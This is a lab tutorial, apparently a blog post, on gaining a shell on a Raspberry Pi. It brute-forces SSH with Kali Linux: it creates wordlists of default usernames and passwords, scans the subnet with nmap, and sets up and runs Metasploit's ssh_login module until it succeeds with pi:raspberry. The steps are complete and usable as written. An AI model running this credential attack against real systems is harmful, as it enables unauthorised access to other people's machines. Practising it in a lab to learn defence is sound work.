visit
The Raspberry Pi is also performing no other daily responsibilities so no additional setup on this machine is required for this test. SSH is enabled during the installation and the system is up-to-date using apt-update and apt upgrade.
If you do not know the IP address of the target machine, you can confirm the IP address of the Raspberry Pi using the hostname -I or ifconfig command from the console.
In this example, the IP address of our Raspberry Pi target machine is 192.168.1.95. You will need this later so write it down.
Using your favorite text editor, create a user.txt file containing these usernames.
root
admin
kali
raspberry
pi
support
Create a password.txt file containing the following passwords, one password per line:
root
toor
pi
kali
admin
raspberry
password
password123
Save these two files to your local directory. In this example, we are using /home/kali/data.
The -p 22 flag says only report on SSH and the -open flag lists only the ports that are open. Closed ports are not included in the output.
kali@Victim-Pi:~$ sudo nmap -p 22 -open 192.168.1.0/24
The results from our nmap scan show that the ssh service is running (open) on a lot of machines. Now we narrow our focus and use Metasploit to exploit the ssh vulnerabilities. We are interested in the Victim-Pi or 192.168.1.95 address because that is a Raspberry Pi and the target of our attack.
Our attacking machine is the kali-server or 192.168.1.207
From the kali-server (192.1681.207) command line, launch Metasploit by typing msfconsole.
Metasploit provides a search engine to help us select the best exploit to exploit SSH. Entering the search ssh command shows us all of the ssh options.
Scan through the output for the ssh vulnerability. For this exploit we want to use Menu Item #21 — ‘use auxiliary/scanner/ssh/ssh_login’ which uses brute-force SSH login credentials with our username.txt and password.txt files we created in /home/kali/data. Note that your menu item number most likely will be different.
Enter ‘use auxiliary/scanner/ssh/ssh_login‘ at the msf6 > prompt. You can also enter the menu number (for example: msf6> use 21
Type set USER_FILE /home/kali/data/username.txt and set PASS_FILE /home/kali/data/password.txt.
The next two options, set STOP_ON_SUCCESS true stops execution when there is a successful username/password combination and set VERBOSE true prints all status messages to the console.
The set RHOSTS command configures Metasploit to use the target machine. This is the same IP address (192.168.1.95) of the machine we issued the hostname -I or ifconfig commands earlier.
Use the advanced command to view additional configuration options
You can change any of these options for your situation, but we want quick access to the shell so set GATHERProof false.
All of our configuration options are set, run the exploit command to start the exploit.
After several failed login attempts, notice the [+] 192.168.1.95:22 — Success ‘pi:raspberry’ entry. This line reveals that there is a successful username of pi with a password of raspberry combination.
The set STOP_ON_SUCCESS true option we set earlier tells Metasploit to stop the attack when there is a successful username/password combination.
Type the sessions command to see the active Metasploit sessions.
Connect to the current active session, enter the sessions 1 command.
At this point, you can use Unix commands as if you were a regular user of the system.
To get better control of our exploit type the shell command to get access to a bash shell.
Now that you have bash shell access you can use Python, Perl, and other system resources to complete your exploit.